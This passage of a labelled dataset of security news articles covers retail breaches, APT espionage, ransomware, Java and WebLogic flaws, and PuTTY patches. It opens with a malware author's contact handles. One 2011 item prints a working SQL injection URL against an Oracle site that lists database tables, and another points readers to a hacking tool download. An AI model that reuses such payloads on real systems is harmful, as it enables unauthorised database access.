E-mail 2: ree4@yandex.ru
ICQ: 565033
Skype: s.r.a.ree4

Now any of his toolkit buyer is possibly the culprit behind the Target data breach. According to researchers, the attackers somehow managed hack one of the TARGET server and uploaded the POS malware to the checkout machines located at various stores.

IntelCrawler didn't accuse him of the Target heist, but ""He is still visible for us, but the real bad actors responsible for the past attacks on retailers such as Target and Neiman Marcus were just his customers"". They said.

",Malware
U.S. Trade Group Hacked by Chinese Hackers ahead of Trump-Xi Trade Summit,https://thehackernews.com/2017/04/hacking-trump-xi-trade.html,"Researchers have uncovered a Chinese cyber-espionage against the United States ahead of the trade summit on Thursday between US President Donald Trump and China's President Xi Jinping.

According to a new report published today by Fidelis Cybersecurity firm, the Chinese APT10 hacking group implanted a piece of malware on the ""Events"" page of the US National Foreign Trade Council (NFTC) website in February.

Dubbed 'Operation TradeSecret,' the attack against the NFTC site is seen as an attempt to conduct surveillance on the main industry players and lobbyists closely associated with U.S trade policy activities.

Researchers say hackers placed a malicious link on the NFTC website, inviting the organization's board of directors to register for a meeting in Washington DC on March 7. But clicking on the link deployed a spying tool called ""Scanbox.""

Dates back to 2014, Scanbox – previously used by nation-state threat actors associated with the Chinese government – has the ability to record the type and versions of software a victim is running and run keyloggers on compromised computers, said Fidelis researcher John Bambenek.
""This attack was really at its core a reconnaissance attack. Anyone who visited this calendar entry would expose their software versions and use a JavaScript keylogger that could expose their identity,"" said Bambenek.
""Traditionally these attacks are used to precisely identify targets and help them craft targeted phishing attacks using exploits they know the victim is vulnerable to.""
The malicious link was active on the NFTC website between February 27 and March 1. The malware was already removed from the site by the time Fidelis contacted NFTC.

The NFTC's staff and board represent many influential people and companies -- from President Rufus Yerxa, the U.S. Ambassador to GATT to executives from major companies including Google, Amazon, eBay, IBM, Coca-Cola, Microsoft, Oracle, Cisco, KPMG, Pfizer, Visa, Ford, Halliburton, and Walmart.

Although Fidelis detected no further attacks on NFTC board members, the security firm believed the hackers were after a full range of entities relevant to the trade negotiations due to take place Thursday between US and China.

This is the second time in a week when APT10 cyber espionage campaign has come to light. A report released this week by BAE Systems, and PwC also claimed that APT10 was targeting managed IT services providers (MSPs) and their customers across the globe to steal sensitive data.

",Cyber_Attack
Call for Articles - July Edition | The Hacker News Monthly Magazine,https://thehackernews.com/2012/06/call-for-articles-july-edition-hacker.html,"Call for Articles - July Edition | The Hacker News Monthly Magazine


Attention Readers!! We know there is a writer in all of you and we invite you to submit your best work on the subject of BOTNETS for our July The Hacker News Monthly Magazine.

Give us all your expertise and knowledge on the subject and we will give it a top priority! We'd like to thank our readers and supporters and know that we take your loyalty seriously and with great appreciation.

See you in July!

Ann Smith
Executive Editor, The Hacker News

",Malware
FBI warns that Anonymous Hackers has been hacking US Government for almost a year,https://thehackernews.com/2013/11/fbi-warns-that-anonymous-hackers-has.html,"The FBI is warning that members of the hacktivist group Anonymous hacking collective have secretly accessed US Government computers and stolen sensitive information in a campaign that began almost a year ago.

The Hacktivists have exploited a flaw in Adobe applications to compromise the target systems and install software backdoors to maintain the control of the victims computers over the time, the facts dated back to last December, according to a Reuters report.
The hacking campaign affected the U.S. Army, Department of Energy, Department of Health and Human Services, and other government agencies, FBI reveals.

The Federal Bureau of Investigation memo called the hacking campaign ""a widespread problem that should be addressed."" and provided useful information for system administrators that how to determine if their networks were compromised.

Government investigators are investigating the scope of the hacking, believed that hackers are still operating under coverage.

""According to an internal email from Energy Secretary Ernest Moniz' chief of staff, Kevin Knobloch, the stolen data included personal information on at least 104,000 employees, contractors, family members and others associated with the Department of Energy, along with information on almost 2,0000 bank accounts. The email, dated October 11, said officials were ""very concerned"" that loss of the banking information could lead to thieving attempts."" states Reuters post.

It seems that the hacking campaign was linked to the case of Lauri Love, a British resident indicted on October 28 for allegedly breaking into computers at the Department of Energy, Army, Department of Health and Human Services, the U.S. Sentencing Commission and elsewhere.

Law enforcement sustains that attacks began when Love and other members of the group of hacktivists exploited a security flaw in Adobe's ColdFusion application, of course Adobe spokeswoman declined any responsibility and declared that similar attacks are possible only if targeted systems are not updated with the latest security patches.

Law enforcement confirmed that some of the stolen information on the latest campaign had previously been disclosed by Anonymous members during the ""Operation Last Resort.""

Despite the earlier disclosures, ""the majority of the intrusions have not yet been made publicly known,"" ""It is unknown exactly how many systems have been compromised, but it is a widespread problem that should be addressed."" the FBI wrote.

The cyber espionage campaigns conducted by Anonymous are the reply to the arrests of popular hackers linked to the collective linked to US retaliation strategy against hackers.

Consider hacktivism a transitory phenomena are dangerous, underestimate the capabilities of groups like Anonymous is a serious error and the FBI memo is an important warning for Governments and IT community ... Anonymous is alive and could hit every target in every moment!

",Cyber_Attack
Capital One Hacker Also Accused of Hacking 30 More Companies and CryptoJacking,https://thehackernews.com/2019/08/paige-thompson-capital-one.html,"Former Amazon employee Paige Thompson, who was arrested last month in relation to the Capital One data breach, has been accused of hacking not only the U.S. credit card issuer, but also more than 30 other companies.

An indictment unsealed on Wednesday revealed that Thompson not just stole data from misconfigured servers hosted with a cloud-computing company, but also used the computing power of hacked servers to mine for cryptocurrency, a practice commonly known as ""Cryptojacking.""

Thompson, known online as ""erratic,"" was arrested by the FBI on July 29 concerning a massive breach in Capital One Financial Corp that exposed the personal information of more than 100 million credit card applicants in the United States and 6 million in Canada.

The stolen data included approximately 140,000 Social Security numbers and 80,000 bank account numbers linked to United States customers, and 1 million Social Insurance numbers belonged to Canadian citizens, along with some customers' names, addresses, dates of birth, credit scores, credit limits, balances, payment history, and contact information.

Law enforcement became aware of Thompson's activity after she posted information relating to her theft of Capital One data on her GitHub account.
However, a federal grand jury yesterday charged Thompson with a total of two counts—one count of wire fraud and one count of computer fraud and abuse—for illicitly accessing data on more than 30 other entities, including Capital One, U.S. Department of Justice (DOJ) said.

While the indictment [PDF] did not name the involved cloud-computing company, it's highly likely to be Amazon as Thompson previously worked for Amazon Web Services, which provides cloud computing services to Capital One among others.

But it should also be noted that Amazon Web Services was not compromised in any way since Thompson gained access to the cloud server due to Capital One's misconfiguration and not through a vulnerability in Amazon's infrastructure.

The indictment also did not provide names of the other 30 victims, but it did describe three of the targeted organizations as a state agency outside the State of Washington, a telecommunications conglomerate outside the U.S. and a public research university outside the State of Washington.

Investigators have found no evidence of Thompson selling or disseminating any of the stolen information.

The 33-year-old Seattle-based software engineer remains in custody and is scheduled to be arraigned on the indictment in U.S. District Court in Seattle on September 5. She could face up to 25 years in prison if convicted.

",Cyber_Attack
German Researchers Break RFID Smartcard Encryption,https://thehackernews.com/2011/10/german-researchers-break-rfid-smartcard.html,"German Researchers Break RFID Smartcard Encryption


Scientists have found a way to circumvent the encryption used to protect a smartcard used to restrict access to buildings and to process public transit system payments.

A team of German scientists have demonstrated a hack that lets them make a perfect clone of the kind of magnetic security card used to give access to workers in corporate or government buildings -- including NASA -- and as a daily ticket replacement on buses and subways. The same team broke a previous version of contactless-ID cards from Mifare in 2008. This prompted the company to upgrade its security to create a card able to be programmed only once and which contained a unique identifying number that could be checked against the programmed content on the card for extra security.

The new hack is carried out using a side channel attack, which bypasses the defensive features intended to prevent attacks on the card. To achieve this, the researchers made repeated measurements of electricity consumption during encryption and decryption. This can be determined by measuring the magnetic field close to the card.



",Vulnerability
"Hackers leak 13,000 Passwords Of Amazon, Walmart and Brazzers Users",https://thehackernews.com/2014/12/password-hacking-data-breach.html,"Hackers claiming affiliation with the hacktivist group ""Anonymous"" have allegedly leaked more than 13,000 username and password combinations for some of the worlds most popular websites, including Amazon, Xbox Live and Playstation Network.

The stolen personal information was released in a massive text document posted to the Internet file-sharing website Ghostbin (now deleted), on Friday. The document contains a huge number of usernames and passwords, along with credit card numbers and expiration dates.

The news came just a day after the hacker group Lizard Squad compromised Sony's Playstation and Microsoft's Xbox Live gaming networks on Christmas day, which is estimated to have affected Xbox's 48 million subscribers and PlayStation's 110 million users, making it a total of more than 150 million users worldwide.

However, data breach of 13,000 users is not the biggest data breach we've ever seen. When millions of passwords are used for sites around the globe, chances are very minor that our's among those compromised. But still it's important to note as these accounts come from a variety of online sources and among those, some are really very popular.
The Daily Dot's Aaron Sankin has compiled a comprehensive list of sites associated with the username and password leaks, and discovered that the leaks came from the sites run the gamut from pornography to gaming to online shopping. The list of the compromised websites is as follows:
Amazon
Walmart
PlayStation Network
Xbox Live
Twitch.tv
Dell
Brazzers
DigitalPlayground
and see complete list.
Just to be on a safer side, users are recommended to change their passwords if they have accounts on these compromised websites, and also pay attention to your credit card transactions and if any suspicious activity found, immediately communicate with related banks and financial institutions.

Also, don't use the same passwords for banking and online shopping sites, and always keep an eye out for unusual activities or unauthorized purchases with your accounts.

",Data_Breaches
LOCKER Malware - Yet another new variant of Cryptolocker Ransomware,https://thehackernews.com/2013/12/locker-malware-yet-another-new-variant.html,"Ransomware, a threat to internet users that continues to grow in popularity with cyber criminals due to its success and monetary potential. This is nothing new and to be expected. I have noticed many discussions on underground hacking forums about ""How to create Ransomware like Cryptolocker malware"" or ""Malware - hacking tool-kit with ransomware features"".
Security intelligence provider, IntelCrawler has discovered a new ransomware variant called Locker that demands $150 (£92) to restore files that it has encrypted.

Like Cryptolocker, this new ransomware is also nasty because infected users are in danger of losing their personal files forever.

Locker mainly spreads by drive-by downloads from compromised websites, disguised itself as MP3 files and use system software vulnerabilities to infect the end user.

Once it has infected a system, malware first checks the infected machine has an internet connection or not. Then it deletes any original files from the victim's computer after using AES-CTR for encrypting the files on infected devices and add "". perfect"" extension to them.

Locker's encryption is based on an open source tool called 'TurboPower LockBox' library. After encrypting all files, the malware place a ""CONTACT.TXT"" file in each directory, which provides contact details of the author to buy the decryption key and once the ransom is paid, each victim gets a key to unscramble files.

The good news is that the researchers are working on the universal decryption software in order to help the victims. ""It appears that the hackers are simply comparing the list of infected IP addresses of users, along with their host names,"" according IntelCrawler.

IntelCrawler had discovered 50 different builds of the malware, which are being sold in underground markets for pay-per install programs. One builds had just under 6,000 infected machines. ZdNet reported.

Malware will encrypt all drives visible on an infected system, so you must be sure that your backups are stored remotely or in a location that is not simply another drive partition or mapping to another location.

The malware infects users from the United States, Turkey, Russia, Germany and the Netherlands. Users should remain vigilant about their security. Please double check the legitimacy of links received in emails and ensure you have your antivirus up to date to help protect against such threats.

",Vulnerability
Warning : Java 6 vulnerable to zero-day exploit; added to Neutrino exploit kit,https://thehackernews.com/2013/08/Java-6-zero-day-Neutrino-exploit-kit.html,"Hackers are using a new exploit for a bug in the out-of-date but popular Java 6 platform to attack victims, and has been added to a commercially available Neutrino exploit kit.

The use of Java 6 still is prevalent, opening up a significant number of users to the threat. F-secure analyst Timo Hirvonen warned about the exploit over Twitter, advising that he had found an exploit in the wild actively targeting an unpatched vulnerability in Java 6, named CVE-2013-2463.
The exploit's proof-of-concept was made public last week, prior to in-the-wild attacks surfacing on Monday. Oracle is aware of the hole but, since Java 6 is no longer supported, the company will not patch the issue.

The vulnerability lies in Java Runtime Environment's 2D sub-component, which is used to make two-dimensional graphics. Because no patch is available, the exploits provides cybercriminals and other attackers an effective vehicle to launch attacks targeting users and organizations using Java 6.

The Neutrino crimeware kit was first spotted in March 2013, when it was identified as the source of a series of attacks that were exploiting Java vulnerabilities to install ransomware on victims' PCs, freezing them until users paid a fine that was supposedly being levied by the FBI and other law enforcement agencies.

The impact of this threat may be less for usual Internet users than for organizations/entities, who may not be quick to migrate to the latest software version due to business and/or operational continuity issues.

Users should update their Java installations to the latest revision of version 7, which does not suffer from the issue. Users who don't need Java in their everyday tasks should uninstall the software altogether.

",Malware
New Critical Oracle WebLogic Flaw Under Active Attack — Patch Now,https://thehackernews.com/2019/06/oracle-weblogic-vulnerability.html,"Oracle has released an out-of-band emergency software update to patch a newly discovered critical vulnerability in the WebLogic Server.

According to Oracle, the vulnerability—which can be identified as CVE-2019-2729 and has a CVSS score of 9.8 out of 10—is already being exploited in the wild by an unnamed group of attackers.

Oracle WebLogic is a Java-based multi-tier enterprise application server that allows businesses to quickly deploy new products and services on the cloud, which is popular across both, cloud environment and conventional environments.

The reported vulnerability is a deserialization issue via XMLDecoder in Oracle WebLogic Server Web Services that could allow unauthorized remote attackers to execute arbitrary code on the targeted servers and take control over them.

""This remote code execution vulnerability is remotely exploitable without authentication, i.e., may be exploited over a network without the need for a username and password,"" the advisory said.

In a separate note, the company also revealed that the flaw is related to a previously known deserialization vulnerability (CVE-2019-2725) in Oracle WebLogic Server that it patched in April this year.

The previously patched RCE flaw in Oracle WebLogic was also exploited by attackers as a zero-day i.e., to distribute Sodinokibi ransomware and cryptocurrency mining malware.

Reported independently by a separate group of individuals and organizations, the new vulnerability affects Oracle WebLogic Server versions 10.3.6.0.0, 12.1.3.0.0, and 12.2.1.3.0

Due to the severity of this vulnerability, the company has recommended affected users and companies to install available security updates as soon as possible.

Other Important Security Updates from Oracle

Besides this, Cisco today also released several other software updates for various of its products that to addresses some critical and high severity vulnerabilities.


Cisco TelePresence — a video conferencing system by Cisco, the software contains a high severity vulnerability that could allow remote attackers to execute arbitrary shell commands or scripts on the targeted device just by sending crafted CDP packets to an affected device.
Cisco SD-WAN Solution — The vManage web-based interface of the software-defined WAN solutions by Cisco contains three flaws, two of which have been rated high in severity, and one is critical. Two of these allow an attacker to elevate his privileges to the root user, whereas one flaw could allow an authenticated, remote attacker to execute arbitrary commands with root privileges.
Cisco Router Management Interface — Cisco's RV110W, RV130W, and RV215W Routers contains a denial-of-service vulnerability that could allow an unauthenticated attacker to cause a reload of an affected device. Another flaw in this product affected by a medium severity issue that could expose the list of devices that are connected to the guest network to remote attackers.

",Vulnerability
SYNful Knock: Backdoor Malware Found in Cisco Routers,https://thehackernews.com/2015/09/cisco-router-backdoor.html,"Mandiant, a FireEye sister concern has been involved in researches related to cyber defense.

In their recent findings, a backdoor malware named SYNful Knock identified as the one compromising the principles of Cisco routers with features such as...

...Having an everlasting effect, i.e. Serious Persistence.

What?- The malicious program is implanted in the router illicitly through the device's firmware (regardless of the vendor). The goal is achieved by modifying the router's firmware image, which exists even after the device gets a reboot.

How?- installing SYNful Knock in Cisco 1841 router, Cisco 2811 router, and Cisco 3825 router.

Affected areas- 14 instances in 4 countries including India, Mexico, Ukraine, and the Philippines.

Impact- the backdoor is backed up with such abilities that can compromise the availability of other hosts and access to sensitive data in an organization.
""The theoretical nature of router-focused attacks created a mindset within our industry to focus on building more walls around the perimeter, leaving many organizations exposed when it comes to foundational devices like routers,"" stated FireEye.
With this statement, we can imagine how dangerous is this backdoor!

As the implant is triggered by modifying the Cisco Inter-networked operating system (IOS), thus the implant activates in-capabilities in the Cisco victim like:
It allows the attacker to install various functional modules from the anonymity of the internet.
It provides unrestricted access using a wrapped backdoor password.
It delivers modules via the HTTP protocol and not HTTPS.
The controller (attacker) enables the TCP packets have a non-standard sequence and corresponding acknowledgment numbers.
The modules are disguised as independent executable code or hooks within the router's IOS with functionality similar to the backdoor password.
The backdoor password provides access to the router through the console and Telnet.
Also, The Hacker News (THN) reported about vulnerabilities in Belkin routers leading to privilege escalation and cyber attacks like man-in-the-middle attack. This is considered as an evident example where routers are being compromised on a large level.

Besides this, a document stating possibilities of how Cisco's IOS can be compromised and side-by-side protected against any malware can be seen here.

To get insights of this stealthy malware visit the stepwise demonstration executed by Mandiant.

",Malware
Oracle website vulnerable to SQL injection,https://thehackernews.com/2011/07/oracle-website-vulnerable-to-sql.html,"Oracle website vulnerable to SQL injection vulnerability

Oracle database website itself vulnerable to SQL injection attack. The website having a loophole by which any attacker can easily hack into it. The vulnerability is found and submitted by Hacker ""m@m@"".


Oracle provides the world's most complete, open, and integrated business software and hardware systems to more than 370,000 customers including 100 of the Fortune 100 that represent a variety of sizes and industries in more than 145 countries around the globe. The combination of Oracle and Sun means that customers can benefit from fully integrated systems the entire stack, from applications to disk that are faster, more reliable, and lower cost.
But the website now itself compromised with SQL injection attack. I am providing the link and a screen sort show that you can easily sort out the vulnerability.


Here is the link:
https://labs.oracle.com/dmp/patents.php?uid=mherlihy'%20and%201=0%20union%20select%201,2,table_name,4%20from%20information_schema.tables--%20-&show=all


Also Iframe Injection & Blind SQL Injection vulnerability on Apple.com exposed by Idahc(lebanese hacker) : Read here

",Vulnerability
PuTTY Releases Important Software Update to Patch 8 High-Severity Flaws,https://thehackernews.com/2019/03/putty-software-hacking.html,"The popular SSH client program PuTTY has released the latest version of its software that includes security patches for 8 high-severity security vulnerabilities.

PuTTY is one of the most popular and widely used open-source client-side programs that allows users to remotely access computers over SSH, Telnet, and Rlogin network protocols.

Almost 20 months after releasing the last version of its software, the developers of PuTTY earlier this week released the latest version 0.71 for Windows and Unix operating systems.

According to an advisory available on its website, all previous versions of the PuTTY software have been found vulnerable to multiple security vulnerabilities that could allow a malicious server or a compromised server to hijack client's system in different ways.

Here below I have listed all 8 vulnerabilities with brief information that PuTTY 0.71 has patched:

1) Authentication Prompt Spoofing — Since PuTTY doesn't have a way to indicate whether a piece of terminal output is genuine, the user-interface issue could be exploited by a malicious server to generate a fake authentication prompt at the client side, prompting victims to enter their private key passphrases.

""If the server had also acquired a copy of your encrypted key file (which, for example, you might have considered safe to copy around because it was securely encrypted), then this would give it access to your private key,"" the advisory explains.

2) Code Execution via CHM Hijacking — When a user launches the online help within the PuTTY GUI tools, the software tries to locate its help file alongside its own executable.

This behavior could allow an attacker to trick the user into executing malicious code on the client system via the hijacking CHM file.

""If you were running PuTTY from a directory that unrelated code could arrange to drop files into, this means that if somebody contrived to get a file called putty.chm into that directory, then PuTTY would believe it was the real help file, and feed it to htmlhelp.exe.""

3) Buffer Overflow in Unix PuTTY Tools — According to the advisory, if a server opens too many port forwardings, PuTTY for Unix does not bounds-check the input file descriptor it collects while monitoring the collections of active Unix file descriptors for activity, leading to a buffer overflow issue.

""We don't know if this was remotely exploitable, but it could at least be remotely triggered by a malicious SSH server, if you enabled any of the options that allow the server to open a channel: remote-to-local port forwarding, agent forwarding or X11 forwarding,"" the advisory says.

4) Reusing Cryptographic Random Numbers — This issue resides in the way cryptographic random number generator in PuTTY, occasionally using the same batch of random bytes twice.

""This occurred because of a one-byte buffer overflow in the random pool code. If entropy from an external source was injected into the random pool exactly when the current-position index was pointing at the very end of the pool, it would overrun the pool buffer by one byte and overwrite the low byte of the position index itself.""

5) Integer Overflow Flaw — All prior versions of PuTTY suffers an Integer overflow issue due to missing key-size check-in RSA key exchange.

A remote server can trigger the vulnerability by sending a short RSA key, leading to an integer overflow and uncontrolled overwriting of memory.

PuTTY developers are not sure if this flaw can be exploited to gain control over the client, but since the issue occurs during key exchange and happens before host key checking, the overflow can be induced by a MitM attack even if the middle man does not know the correct host key.

So even if you trust the server you think you are connecting to, you are not safe.""

6, 7 and 8) Terminal DoS Attacks — Last three vulnerabilities in PuTTY allows a server to crash, or slow down client's terminal by sending different text outputs.

Servers can send a long unbroken string of Unicode characters to the client's terminal, which could lead to a denial-of-service attack by causing the system to allocate potentially unlimited amounts of memory.

The second DoS attack can be triggered by sending combining characters, double-width text, an odd number of terminal columns, and GTK to the client's terminal in output.

In the third DoS attack, by sending width-2 characters used by Chinese, Japanese and Korean to the client, PuTTY's terminal emulator can be forced to crash.

If you use PuTTY, make sure you download and use the latest version of it.

",Vulnerability
"South Korea hit by Android Trojan, Malware in Gaming apps and DDoS attack",https://thehackernews.com/2013/10/south-korea-hit-by-android-trojan.html,"Last Tuesday, The National Police Agency of South Korea warned the people that many Malware infected video games being offered in the South Korean markets with the purpose of launching Cyber attacks on the Country.

That Malware is collecting location data and IP addresses of infected users and according to experts, malware is sending data back to its master servers based in North Korea.
Just today the Korea's largest anti-virus software firm AhnLab confirmed that they have detected distributed denial-of-service (DDoS) attacks on local companies' websites.

According to the report, about 16 websites of 13 companies, including Daum, MSN and the JoongAng Ilbo newspaper had been affected.

AhnLab said that some 10-thousand computers have been hit, mainly because they failed to install a vaccination program or update an existing one since the last cyber attack in July.

The attack was detected around 4:00 p.m. on Thursday, infecting around 10,000 computers until Friday.

It is possible that same infected systems were used to launch DDoS attacks today. Police advise the public to do not download gaming programs from unverified sources and to keep their Antivirus up to date.

Yesterday, we reported about another malicious campaign against South Korean Android users, where a Banking Trojan is specifically targeting South Korean banking applications for stealing user credentials.

In March, North Korea was suspected as responsible for for a malware attack that simultaneously wiped data from tens of thousands of South Korean computers.

",Cyber_Attack
iOS Sandbox Vulnerability Puts Enterprise Data at Risk,https://thehackernews.com/2015/08/apple-iphone-hacking.html,"""Change is the only constant thing,"" as it is known could be now modified as ""Change is the only constant thing*,"" where the * means Terms and conditions apply!

A change (Mobile Device Management solutions-MDM, Bring Your Own Device-BYOD) was brought to the organizations, (which later became necessities) for smooth workflow and management of an organization; where resides mobile and other computing devices in masses.

The devices, as well as the MDM solutions, are at risk, as reported.

Security researchers at Appthority Mobile Threat Team, have found a vulnerability in the sandbox app within the Apple's iOS versions prior to 8.4.1, which makes the configuration settings of managed applications to be openly accessed by anyone.

QuickSand – Loophole in Sandbox

The vulnerability is assigned CVE-2015-5749 and is named as 'QuickSand' because of the loophole being present in the Sandbox.

Mobile Device Management (MDM) refers to managing the deployment, security and integration of all the mobile devices, including smartphones, tablets, and laptops, in an organization.

The aim of MDM solutions is to increase the use of mobile devices by keeping them secure within the enterprise while simultaneously protecting the corporate network.

MDM solutions are mostly dependent on vendors who implement the services based on their devices' management features.

MDM and EMM (Enterprise Mobility Management) solutions are delivered by vendors like FancyFon, AirWatch, MobileIron and AmTel MDM, allowing organizations to install corporate apps, including configuration and credentials, to its mobile devices.

This poses as a solution for employees to get an easy access to corporate resources.

Now, the researchers claim this violation is capable of affecting all MDM clients as well as any mobile apps distributed via an MDM in a corporate environment that use the 'Managed App Configuration' setting to configure and store private settings and information.

Here's what the researchers at Appthority wrote in a blog post:
The underlying issue with our critical sandbox violation discovery is that not only can a mobile app (or the MDM app itself) have access to this sensitive set-up and authentication information stored on the device, but anyone (or any app on any device) can also see the credential [data] on the mobile device as it is stored 'world readable'.
How the Attack Works?

The attackers can fool the users - in an environment where the MDM solution has been implemented - in two ways:
Pushing a malicious app in the complete organization, imitating as a productivity app that many users may install.
Targeting a particular user and luring him into various cyber attacks like phishing.
This is a vital situation, where chances of an organization becoming victims of the severe cyber attack are high. Sensitivity and size of the information being managed using MDM solutions do matter.

As today, the vulnerability may not be that critical in nature but it has certainly opened gates for the potential attackers to get away with the data and information.

Appthority and Apple security have worked together to the fix the vulnerability, which has been patched but for the iOS version 8.4.1 as of now.

Further, Appthority Mobile Threat Team has demonstrated the weakness with the MDM and provides some recommendations; you can link to their official blog for in-depth details.

",Vulnerability
Malware Swipes Rocket Data from Japanese space agency,https://thehackernews.com/2012/12/malware-swipes-rocket-data-from.html,"Japan's space agency says it is investigating a possible leak of data about its Epsilon rocket due to a computer virus.

Malware Case : The Japan Aerospace Exploration Agency said the virus, in a computer at its Tsukuba Space Centre, north-east of Tokyo, was found to be secretly collecting data and sending it outside the agency.

JAXA said in a statement that information about the Epsilon, due to be launched next year, its M-5 rocket and H2A and H2B rockets may have been compromised. The agency said that it was unclear if the virus was a cyberattack. The agency said it is tightening security to prevent any further leaks.
China behind this Cyber Attack ? Recently, however, Japanese defense companies have been targets of similar information-stealing viruses, some of which had been traced back to China.

The Epsilon, whose first launching is scheduled for next autumn, will also feature new technology that will allow it to be remotely controlled by a personal computer. Japan is hoping to compete with the U.S., Russia, Europe and others as a satellite launch vehicle provider and has developed the Epsilon to reduce costs and speed up launch times.

",Malware
Android based hacking tool to steal passwords from connected computers,https://thehackernews.com/2013/07/android-based-hacking-tool-to-steal.html,"A recently discovered new form of Android malware called USB Cleaver can not only infect your smartphone, but also targets your PC to steal sensitive information from it.
A hacking tool discovered by analysts at F-Secure, which is capable of stealing information from a connected Windows machine. USBCleaver seems to be designed to facilitate a targeted attack by gathering details that would be helpful in a later infiltration attempt.

To use the application, hacker must install an application called USB Cleaver on his Android device. Once executed, the app downloads a ZIP file from a remote server and then unzips the downloaded file to the following location: /mnt/sdcard/usbcleaver/system folder.

Tools is design to steal information like Browser passwords (Firefox, Chrome and IE), PC's Wi-Fi password, The PC's network information etc.

When the device is then plugged into a PC, /mnt/sdcard is mounted and, if autorun is enabled, go.bat and the payload are executed. The app allows the user to select what type of information should be harvested. The utilities save their results in /mnt/sdcard/usbcleaver/logs which the app user can view later by clicking ""Log files"" in the app.

Most older Windows systems need to have mobile drivers manually installed in order for this attack to work. You can Download USB Cleaver here.

",Malware
Stuxnet virus also infected Chevron's IT network,https://thehackernews.com/2012/11/stuxnet-virus-also-infected-chevrons-it.html,"Stuxnet, a sophisticated computer virus created by the United States and Israel, to spy on and attack Iran's nuclear enrichment facilities in Natanz also infected Chevron 's network in 2010, immediately after it spread into the wild. This Government created virus Now Infecting Corporations also.

Chevron oil giant found the virus in its systems after the malware's existence was first reported in a blog post in July 2010, according to Mark Koelmel, general manager of the earth-sciences department at the big U.S. oil company. The U.S. government has never officially acknowledged the Stuxnet program.
Stuxnet which was designed to attack computer systems designed by German industrial giant Siemens for managing water supplies, oil rigs, power plants and other critical infrastructure has turned up in other countries.

According to the Wall Street Journal, Chevron's experience with Stuxnet appears to be the result of the malware's unintentional release into cyberspace, much like an experimental virus escaping from a medical lab.

""Two years ago, our security systems identified the Stuxnet virus. We immediately addressed the issue without incident,"" a Chevron representative said.

Even though Stuxnet targeted industrial facilities, it also infected regular PCs and as a result was discovered in June 2010, about a year after the earliest known version was believed to be created.

On other hand, U.S. officials have blamed Iran for creating the Shamoon virus, which was responsible for a cyber attack that infected more than 30,000 computers at Saudi Arabian oil company Saudi Aramco and Qatar's natural gas firm Rasgas in mid-August.

""I think the downside of what they did is going to be far worse than what they actually accomplished,"" Chevron .

",Cyber_Attack
US retailer Neiman Marcus confirmed data breach after TARGET,https://thehackernews.com/2014/01/us-retailer-neiman-marcus-confirmed_12.html,"The TARGET Hack was not the only massive Data breach that happened during the last Black Friday, but also other three major US Retailers were also hacked.

Recently, Neiman Marcus also confirmed a data breach that involves Credit card theft from its customers during the holiday shopping season, using similar techniques to the one that penetrated Target last month.

Neiman Marcus has 79 stores and reported total sales of $1.1 Billion in the Q4 2013. Neiman Marcus revealed that its customers are at risk after hackers breached servers of the company and accessed the payment information of those who visited its stores.
The company is working to inform customers whose cards have been used for fraudulent purchases, but differently from the case of retailer Target, the company hasn't provided information on the nature of data leaked and on the number of customer records exposed.

Neiman Marcus spokesperson Ginger Reeder announced that the company does not yet know the cause, size or duration of the data breach. She also added that there is no evidence of a possible impact on those shoppers who purchased from the online stores.

The entirety of the company's formal statement is as follows:
""Neiman Marcus was informed by our credit card processor in mid-December of potentially unauthorized payment card activity that occurred following customer purchases at our Neiman Marcus Group stores.
We informed federal law enforcement agencies and are working actively with the U.S. Secret Service, the payment brands, our credit card processor, a leading investigations, intelligence and risk management firm, and a leading forensic firm to investigate the situation. On January 1st, the forensics firm discovered evidence that the company was the victim of a criminal cyber-security intrusion and that some customers' cards were possibly compromised as a result. We have begun to contain the intrusion and have taken significant steps to further enhance information security.
The security of our customers' information is always a priority and we sincerely regret any inconvenience. We are taking steps, where possible, to notify customers whose cards we know were used fraudulently after making a purchase at our store.""
Neiman Marcus was informed in mid-December by its credit card processor and subsequently reported the data breach to law enforcement. The company apologized to its customers for the incident and confirmed that it is working to notify those whose cards were used fraudulently after visits to Neiman Marcus stores.

Cyber criminal activities are more frequent during the holiday season, experts hypothesized also a possible connection between this data breach and the one occurred to Target retailer.

""In the wake of the Target breach, customers, lawmakers and consumer advocates have stepped up calls for Congress to set guidelines on how merchants should protect consumer data. In a statement Friday, Sen. Edward J. Markey (D-Mass.) said that the Target breach illustrates a need for clear, strong privacy and security standards across all industries. When a number equal to nearly one-fourth of America's population is affected by a data breach, it is a serious concern that must be addressed,"" he said.

Are Target and Neiman Marcus two isolated cases?
""Target Corp and Neiman Marcus are not the only U.S. Retailers whose networks were breached over the holiday shopping season last year, according to sources familiar with attacks on other merchants that have yet to be publicly disclosed."" reported a post by Reuters.

According to the people familiar with the attacks, the technique adopted by attackers is the same to the one against Target. More breaches may have yet to come in light and rumors refers similar incidents may have occurred earlier last year.

There is the suspect the perpetrators may be the same as those who attacked Target retailer, likely the ring leaders are from Eastern Europe.

Security analysts expect an increment for illicit activities related to credit and debit card abuses, and they also sustain that it can be more difficult for retailers and credit card issuers to detect patterns of unusual spending.

",Data_Breaches
Malware called 'Eurograbber' steals 36 million Euros,https://thehackernews.com/2012/12/malware-called-eurograbber-steals-36.html,"A new version of the Zeus botnet was used to steal about $47 million from European banking customers in the past year. This Zeus variant Trojan is blamed for attacks that stole more than 36 million Euros ($47 million U.S. dollars) from an estimated 30,000 consumer and corporate accounts at European banks.

Dubbed ""Eurograbber"" is more than just another banking Trojan. It's an exploitation of fundamental online banking authentication practices that could strike any institution.

With the phone number and platform information, the attacker sends a text message to the victim's phone with a link to a site that downloads what it says is ""encryption software"" for the device. Customers become victims of Eurograbber by clicking on malicious links that may come in phishing-attack emails and then after injecting scripts to browser , the malware intercepts two-step authentication text messages sent to customers' phones.

Customers at an estimated 30 banks fell victims to the cyberheist. The amounts stolen ranged from between 500 to 250,000 euros ($650 to $327,000) and were removed from individual and corporate accounts in Italy, Spain, Germany and The Netherlands.

As online and mobile banking continue to grow, we will see more targeted attacks in this area, and Eurograbber is a prime example.

",Malware
"Google+ is Shutting Down After a Vulnerability Exposed 500,000 Users' Data",https://thehackernews.com/2018/10/google-plus-shutdown.html,"Google is going to shut down its social media network Google+ after the company suffered a massive data breach that exposed the private data of hundreds of thousands of Google Plus users to third-party developers.

According to the tech giant, a security vulnerability in one of Google+'s People APIs allowed third-party developers to access data for more than 500,000 users, including their usernames, email addresses, occupation, date of birth, profile photos, and gender-related information.

Since Google+ servers do not keep API logs for more than two weeks, the company cannot confirm the number of users impacted by the vulnerability.

